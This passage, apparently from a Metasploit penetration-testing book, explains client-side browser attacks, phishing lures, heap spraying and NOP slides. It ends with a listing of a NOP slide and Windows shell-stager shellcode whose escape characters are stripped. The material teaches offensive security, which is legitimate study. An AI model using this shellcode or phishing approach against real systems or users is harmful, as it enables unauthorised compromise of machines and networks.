Years of focus on defensive network perimeters have drastically shrunk the traditional attack surfaces. When one avenue of attack becomes too difficult to penetrate, attackers can find new and easier methods for attacking their targets. Client-side attacks were the next evolution of attacks after network defenses became more prominent. These attacks target software commonly installed on computers in such programs as web browsers, PDF readers, and Microsoft Office applications. Because these programs are commonly installed on computers out of the box, they are obvious attack vectors for hackers. It’s also common for these applications to be out of date on users’ machines because of irregular patching cycles. Metasploit includes a number of built-in client-side exploits, which we’ll cover in depth in this chapter.
If you can bypass all the protective countermeasures a company has in place and infiltrate a network by tricking a user into clicking a malicious link, you have a much better chance of achieving a compromise. Suppose, for example, that you are performing a covert penetration test against a corporate target using social engineering. You decide that sending a phishing email to targeted users will present your best chance of success. You harvest email accounts, names, and phone numbers; browse social-networking sites; and create a list of known employees. Your malicious email instructs the email recipients that payroll information needs to be updated; they need to click a link (a malicious link) in the email to do this. However, as soon as the user clicks the link, the machine is compromised, and you can access the organization’s internal network.
This scenario is a common technique regularly leveraged in both penetration tests and actual malicious attacks. It is often easier to attack via users than it is to exploit Internet-facing resources. Most organizations spend a significant amount of money protecting their Internet-facing systems with tools such as intrusion prevention systems (IPSs) and web application firewalls, while not investing nearly as much in educating their users about social-engineering attacks.
In March 2011, RSA, a well-known security company, was compromised by an attacker leveraging this same process. A malicious attacker sent an extremely targeted (spear-phishing) email that was crafted specifically for an Adobe Flash zero-day vulnerability. (Spear-phishing is an attack whereby users are heavily researched and targeted rather than randomly chosen from a company address book.) In RSA’s case, the email targeted a small group of users and was able to compromise RSA’s internally connected systems and further penetrate its network.
We’ll focus on browser-based exploits within Metasploit in this chapter. Browser-based exploits are important techniques, because in many organizations, users spend more time using their web browsers than using any other applications on their computers.
Consider another scenario: We send an email to a small group at an organization with a link that each user will click. The users click the link, and their browsers open to our website, which has been specially crafted to exploit a vulnerability in a certain version of Internet Explorer. The users’ browser application is susceptible to this exploit and is now compromised simply by users visiting our malicious website. On our end, access would be gained via a payload (Meterpreter, for example) running within the context of the user who visited the site.
Note one important element in this example: If the target user were running as an administrator, the attacker (we) would do the same. Client-side exploits traditionally run with the same permissions and rights as the target they exploit. Often this is a regular user without administrative privileges, so we would need to perform a privilege-escalation attack to obtain additional access, and an additional exploit would be necessary to elevate privileges. We could also potentially attack other systems on the network in hopes of gaining administrative-level access. In other cases, however, the current user’s permission levels are enough to achieve the infiltration. Consider your network situation: Is your important data accessible via user accounts? Or is it accessible only to the administrator account?
Browser exploits are similar to any traditional exploit but with one major difference: the method used for shellcode delivery. In a traditional exploit, the attacker’s entire goal is to gain remote code execution and deliver a malicious payload. In browser exploits, the most traditional way to gain remote code execution is through an exploitation technique called heap spraying. But before examining heap spraying in detail, let’s talk about what the heap is and how it’s used.
The heap is memory that is unallocated and used by the application as needed for the duration of the program’s runtime. The application will allocate whatever memory is necessary to complete whatever task is at hand. The heap is based on how much memory your computer has available and has used through the entire application’s life cycle. The location of memory allocated at runtime is not known in advance, so as attackers, we would not know where to place our shellcode. Hackers can’t simply call a memory address and hope to land at the payload—the randomness of memory allocated by the heap prevents this, and this randomness was a major challenge before heap spraying was discovered.
Before moving on, you also need to understand the concept of a no-operation instruction (NOP) and NOP slide. NOPs are covered in detail in Chapter 15, but we’ll cover the basics here because they are important to understanding how heap spraying works. A NOP is an assembly instruction that says, “Do nothing and move to the next instruction.” A NOP slide comprises multiple NOPs adjacent to each other in memory, basically taking up space. If a program’s execution flow encounters a series of NOP instructions, it will linearly “slide” down to the end of them to the next instruction. A NOP, in the Intel x86 architecture, has an opcode of 90, commonly seen in exploit code as x90.
The heap spraying technique involves filling the heap with a known repeating pattern of NOP slides and your shellcode until you fill the entire memory space with this known value. You’ll recall that memory in the heap is dynamically allocated at program runtime. This is usually done via JavaScript, which causes the browser’s allocated memory to grow significantly. The attacker fills large blocks of memory with NOP slides and shellcode directly after them. When program execution flow is altered and randomly jumps somewhere into memory, there is a good chance of hitting a NOP slide and eventually hitting the shellcode. Instead of looking for a needle in a haystack—that is, the shellcode in memory—heap spraying offers an 85 to 90 percent chance of the exploit being successful.
This technique changed the game in browser exploitation and in the reliability of exploiting browser bugs. We will not be covering the actual code behind heap spraying, because it’s an advanced exploitation topic, but you should know the basics so that you can understand how these browser-based exploits work. Before we begin launching our first browser exploit, let’s look at what actually happens behind the scenes when an exploit is launched.
Now that you understand the basics of a heap spray and a NOP, let’s take a look at a generic NOP slide in an actual exploit. In the following listing, notice the hexadecimal representation of x90, the Intel x86 architecture opcode. A 90 in Intel x86 assembly is a NOP. Here you see a series of x90s that create our NOP-slide effect. The rest of the code is the payload, such as a reverse shell or a Meterpreter shell.
x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30 x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff x31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2 xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85 xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3 x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0d x01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58 x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8b x04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xff xe0x58x5fx5ax8bx12xebx86x5dx68x33x32x00x00x68 x77x73x32x5fx54x68x4cx77x26x07xffxd5xb8x90x01 x00x00x29xc4x54x50x68x29x80x6bx00xffxd5x50x50 x50x50x40x50x40x50x68xeax0fxdfxe0xffxd5x97x31 xdbx53x68x02x00x01xbbx89xe6x6ax10x56x57x68xc2 xdbx37x67xffxd5x53x57x68xb7xe9x38xffxffxd5x53 x53x57x68x74xecx3bxe1xffxd5x57x97x68x75x6ex4d x61xffxd5x6ax00x6ax04x56x57x68x02xd9xc8x5fxff xd5x8bx36x6ax40x68x00x10x00x00x56x6ax00x68x58 xa4x53xe5xffxd5x93x53x6ax00x56x53x57x68x02xd9 xc8x5fxffxd5x01xc3x29xc6x85xf6x75xecxc3